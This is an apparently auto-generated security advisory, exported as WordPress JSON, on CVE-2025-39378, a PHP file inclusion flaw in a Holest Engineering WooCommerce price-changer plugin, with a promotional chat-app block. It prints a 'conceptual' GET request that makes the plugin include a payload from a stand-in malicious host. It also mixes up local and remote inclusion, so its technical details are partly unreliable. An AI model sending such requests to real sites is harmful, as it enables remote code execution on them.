{"id":86251,"date":"2026-01-10T14:24:27","date_gmt":"2026-01-10T14:24:27","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-39378-php-remote-file-inclusion-vulnerability-in-holest-engineering-spreadsheet-price-changer-for-woocommerce-and-wp-e-commerce-light","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-39378-php-remote-file-inclusion-vulnerability-in-holest-engineering-spreadsheet-price-changer-for-woocommerce-and-wp-e-commerce-light\/","title":{"rendered":"<strong>CVE-2025-39378: PHP Remote File Inclusion Vulnerability in Holest Engineering Spreadsheet Price Changer for WooCommerce and WP E-commerce \u2013 Light<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The vulnerability identified as CVE-2025-39378 exposes a glaring security flaw within Holest Engineering Spreadsheet Price Changer for WooCommerce and WP E-commerce &#8211; Light. This vulnerability can potentially lead to system compromise or data leakage if exploited, primarily affecting the users of the stated applications. The severity of this vulnerability necessitates immediate attention and mitigation.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-39378<br \/>\nSeverity: High (7.5 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: Potential for system compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3655056121\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Holest Engineering Spreadsheet Price Changer for WooCommerce | n\/a through 2.4.37<br \/>\nHolest Engineering Spreadsheet Price Changer for WP E-commerce &#8211; Light | n\/a through 2.4.37<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability stems from an improper control of filenames for include\/require statements in PHP programs. This issue allows for PHP Local File Inclusion (LFI) that can be exploited by a remote attacker to execute arbitrary PHP code on the target system. This can lead to unauthorized access or control over the system, potentially leading to data leakage or system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2711756272\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the vulnerability might be exploited, via a PHP GET request:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/pricechanger.php?file=http:\/\/malicious-site.com\/malicious_payload.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker tricks the system into including and executing a PHP file from a remote server (`malicious-site.com`). This file (`malicious_payload.php`) contains the malicious code that leads to system compromise or data leakage.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>To remediate this vulnerability, apply the vendor patch as soon as possible. If the patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation, helping to filter out malicious requests.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The vulnerability identified as CVE-2025-39378 exposes a glaring security flaw within Holest Engineering Spreadsheet Price Changer for WooCommerce and WP E-commerce &#8211; Light. This vulnerability can potentially lead to system compromise or data leakage if exploited, primarily affecting the users of the stated applications. The severity of this vulnerability necessitates immediate attention and mitigation. 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